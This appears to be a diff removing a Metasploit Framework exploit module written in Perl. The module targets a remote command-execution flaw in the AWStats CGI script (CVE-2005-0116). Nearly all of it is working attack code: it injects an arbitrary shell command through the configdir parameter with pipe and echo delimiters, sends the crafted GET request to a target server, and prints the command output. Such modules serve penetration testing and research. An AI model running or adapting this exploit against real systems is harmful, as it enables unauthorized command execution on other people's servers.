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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::awstats_configdir_exec;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- use bytes;
-
- my $advanced = { };
-
- my $info = {
- 'Name' => 'AWStats configdir Remote Command Execution',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'Matteo Cantoni <goony@nothink.org>' ],
- 'Arch' => [ ],
- 'OS' => [ ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
- 'DIR' => [1, 'DATA', 'Directory of awstats.pl script', '/cgi-bin/'],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits an arbitrary command execution vulnerability in the
- AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
- are vulnerable.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '13002'],
- ['BID', '12298'],
- ['CVE', '2005-0116'],
- ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
- ['MIL', '8'],
- ],
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'Keys' => ['cmd'],
- },
-
- 'Keys' => ['awstats'],
-
- 'DisclosureDate' => 'Jan 15 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->VHost;
- my $target_port = $self->GetVar('RPORT');
- my $dir = $self->GetVar('DIR');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $cmd = $encodedPayload->RawPayload;
-
- $cmd = Pex::Text::URLEncode($cmd);
- $dir = $dir.'awstats.pl?configdir=|echo;echo%20YYY;'."$cmd".';echo%20YYY;echo|';
-
- my $request =
- "GET $dir HTTP/1.1\r\n".
- "Accept: */*\r\n".
- "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
- "Host: $target_host:$target_port\r\n".
- "Connection: Close\r\n".
- "\r\n";
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError){
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Establishing a connection to the target...");
-
- $s->Send($request);
-
- my $results = $s->Recv(-1, 20);
-
- if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
-
- (undef, $results) = split(/YYY/, $results);
-
- my @results = split ( /\r\n/, $results );
-
- chomp @results;
-
- for (my $i = 2; $i < @results; $i += 2){
- $self->PrintLine('');
- $self->PrintLine("$results[$i]");
- }
- } else {
- (undef, $results) = split(/YYY/, $results);
-
- my @results = split ( /\r\n/, $results );
-
- chomp @results;
- $self->PrintLine('');
- $self->PrintLine("$results");
- }
-
- $s->Close();
- return;
- }
-
- sub VHost {
- my $self = shift;
- my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
- return $name;
- }
-
- 1;
-